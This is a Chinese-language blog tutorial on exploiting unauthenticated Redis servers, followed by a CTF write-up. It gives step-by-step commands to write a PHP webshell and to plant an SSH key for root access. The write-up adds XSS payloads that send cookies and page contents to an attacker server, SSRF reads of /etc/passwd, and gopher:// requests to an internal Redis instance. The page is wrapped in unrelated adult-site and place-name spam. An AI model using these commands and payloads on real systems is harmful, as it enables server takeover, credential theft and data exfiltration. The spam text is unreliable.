中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

redis未授權訪問的方法

發布時間:2020-05-18 09:41:18 來源:億速云 閱讀:310 作者:Leah 欄目:關系型數據庫

這篇文章主要為大家詳細介紹了redis未授權訪問的方法,圖文詳解容易學習,配合代碼閱讀理解效果更佳,非常適合初學者入門,感興趣的小伙伴們可以參考一下。

redis是一種以key-value為鍵值對的非關系型數據庫

redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。

它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。

安裝服務

win

下載地址:https://github.com/MSOpenTech/redis/releases
測試環境:

操作系統:win7
ip:192.168.107.144

redis未授權訪問的方法

命令行輸入

redis-server.exe redis.conf

redis未授權訪問的方法

接著查看端口

redis未授權訪問的方法

6379端口(redis默認端口)已經打開

redis成功啟動

ubuntu

安裝

sudo apt-get update
sudo apt-get install redis-server

啟動服務

redis-server

基本命令

連接redis

redis-cli.exe -h 192.168.107.144

查看鍵為x的值

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

get所有key

redis 192.168.107.144:6379> keys *
1) "x"

刪除所有鍵

redis 192.168.107.144:6379>flushall

漏洞利用

本機通過telnet命令主動去連接目標機

redis未授權訪問的方法

或者通過redis-cli.exe -h 192.168.107.144連接

redis未授權訪問的方法

連接成功

輸入info獲取相關信息

可以看到redis版本號等

redis未授權訪問的方法

利用方式

  • 寫入一句話webshell

  • 寫入ssh公鑰

寫入shell

redis未授權訪問的方法

//設置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

成功寫入目標機

redis未授權訪問的方法

寫入ssh公鑰

在本地生成一對密鑰

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

redis未授權訪問的方法

接著將ssh公鑰寫入靶機

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 設置本地存儲文件目錄
192.168.107.144:6379> config set dbfilename pub_keys        # 設置本地存儲文件名

192.168.107.144:6379> set x "xxxx"  # 將你的ssh公鑰寫入x鍵里。(xxxx即你自己生成的ssh公鑰)

192.168.107.144:6379> save     # 保存

再到本地去連接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

題目為

redis未授權訪問的方法

題目地址:https://hackme.inndy.tw/scoreboard/

xeeme

泄露

redis未授權訪問的方法

在robots.txt發現泄露源碼

是加密了的config.php

redis未授權訪問的方法

xss打cookie

注冊登陸后的界面

redis未授權訪問的方法

發郵件有驗證

redis未授權訪問的方法

驗證寫個腳本即可

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

然后過濾了一些東西

redis未授權訪問的方法

用img測試

redis未授權訪問的方法

onload也過濾了

redis未授權訪問的方法

這里注意到一個細節,過濾的是空格加上onerror,猜想是匹配到有空格的onerror才會過濾,于是構造沒有空格的onerror,嘗試payload

<img src=""onerror="document.location='http://vps/?a='+document.cookie">

然后打cookie,成功打到cookie

redis未授權訪問的方法

將SESSION解碼

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak

根據上一題的cookie,FLAG_2=IN_THE_REDIS

還是一樣的環境

因為拿到了管理員的cookie,于是登陸一下

redis未授權訪問的方法

需要本地登陸,嘗試一下偽造xff頭

換了幾個ip頭都沒用

于是想到之前做的題,可以直接去打管理員頁面的源碼

這里 不知道為什么 xss平臺接收不到,于是換了一個平臺

利用payload

<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">

redis未授權訪問的方法

發現innerhtml被過濾

于是html編碼

<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">

發現收到請求

redis未授權訪問的方法

解個碼,放在本地

redis未授權訪問的方法

SSRF讀取config.php

猜測send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://vps?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到請求

redis未授權訪問的方法

解碼:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post請求的url參數

嘗試讀文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功讀到/etc/passwd

redis未授權訪問的方法

于是讀之前的config.php

redis未授權訪問的方法

xssrf redis(ssrf+gopher拿下flag)

根據flag的提示,redis的端口是25566
請求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

redis未授權訪問的方法

成功獲取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

redis未授權訪問的方法

去讀

既然有flag鍵,那么直接去讀flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

redis未授權訪問的方法

類型不符合

于是查看類型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

redis未授權訪問的方法

是list,返回列表長度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

redis未授權訪問的方法

那么獲取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

redis未授權訪問的方法

于是寫個腳本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

關于redis未授權訪問的方法就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果喜歡這篇文章,不如把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

天祝| 固镇县| 沧州市| 雷州市| 上栗县| 高尔夫| 天峻县| 会宁县| 辉县市| 辰溪县| 巴中市| 雷波县| 衡南县| 高密市| 常熟市| 阿坝| 南江县| 闸北区| 大洼县| 精河县| 天水市| 兴化市| 施甸县| 藁城市| 阳春市| 曲麻莱县| 封丘县| 白水县| 临汾市| 资兴市| 白朗县| 玉龙| 怀安县| 顺昌县| 襄城县| 上林县| 苍梧县| 安阳县| 百色市| 凤阳县| 南和县|